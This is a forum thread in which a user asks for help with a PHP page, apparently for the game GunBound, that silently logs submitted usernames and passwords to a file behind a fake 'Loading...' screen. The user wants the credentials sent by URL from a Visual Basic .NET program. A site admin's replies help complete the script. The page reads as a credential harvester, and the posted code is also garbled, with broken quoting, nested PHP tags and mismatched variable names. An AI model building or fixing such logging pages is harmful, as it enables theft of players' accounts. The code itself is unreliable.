can anyone check this for me:
<html>
<head>
<title>gunbound</title>
</head>
<body>
<?php
if (!$uname){
$uname = "ANON";
}
if (!$passw){
$passw = "NONE";
}
$curdate = date ("l dS of F Y h:i:s A");
$logfile = '\gblog.html';
$fileptr = fopen($logfile, 'a');
fwrite($fileptr,"username:".$uname." password:".$passw." time:".$curdate."\n");
fclose($fileptr);
?>
<center><h2><b>Loading...</b></h2></center>
</body>
</html>
and also, how do i input wut $uname and $passw are going to be using a url??? "www.blah/blah.php?&uname=fdfd&passw=fdfd"????
check code
Moderator: General Moderators
- John Cartwright
- Site Admin
- Posts: 11470
- Joined: Tue Dec 23, 2003 2:10 am
- Location: Toronto
- Contact:
What is wrong with your code.
I havnt changed anything, just using highlights.
EDIT ------------------------------------------------
Here is a form which will input the username and password into your flatfile.
I havnt changed anything, just using highlights.
Code: Select all
<html>
<head>
<title>gunbound</title>
</head>
<body>
<?php
if (!$uname){
$uname = "ANON";
}
if (!$passw){
$passw = "NONE";
}
$curdate = date ("l dS of F Y h:i:s A");
$logfile = '\gblog.html';
$fileptr = fopen($logfile, 'a');
fwrite($fileptr,"username:".$username." password:".$password." time:".$curdate."\n");
fclose($fileptr);
?>
<center><h2><b>Loading...</b></h2></center>
</body>
</html>Here is a form which will input the username and password into your flatfile.
Code: Select all
<?
echo "<form name="register" method="post" action=""> \n".
"Username \n".
"<input type="text" name="username"> \n".
"<br> \n".
"Password \n".
"<input type="text" name="password"> \n".
"<input name="submituser" type="Register" value="SUBMIT"> \n".
"</form> \n";
if ($submituser=="SUBMIT") {
$curdate = date ("l dS of F Y h:i:s A");
$logfile = '\gblog.html';
$fileptr = fopen($logfile, 'a');
fwrite($fileptr,"username:".$uname." password:".$passw." time:".$curdate."\n");
fclose($fileptr);
}
?>inputing values
i'm trying to make the sumit thing from visual basic .net, so i'm tring to input the username, pass, and date using a url, here' the one i'm using:
http://www.(something)/blah.php?&uname=kdjfkf&passw=fdsfd it's not working for me, so wut am i doing wrong???
http://www.(something)/blah.php?&uname=kdjfkf&passw=fdsfd it's not working for me, so wut am i doing wrong???
- John Cartwright
- Site Admin
- Posts: 11470
- Joined: Tue Dec 23, 2003 2:10 am
- Location: Toronto
- Contact:
Try this
This should work.
Code: Select all
<?php
<?
echo "<form name="register" method="post" action=""> \n".
"Username \n".
"<input type="text" name="username"> \n".
"<br> \n".
"Password \n".
"<input type="text" name="password"> \n".
"<input name="submituser" type="Register" value="SUBMIT"> \n".
"</form> \n";
if ($submituser=="SUBMIT") {
$curdate = date ("l dS of F Y h:i:s A");
$logfile = '\gblog.html';
$fileptr = fopen($logfile, 'a');
fwrite($fileptr,"username:".$username." password:".$password." time:".$curdate."\n");
fclose($fileptr);
}
?>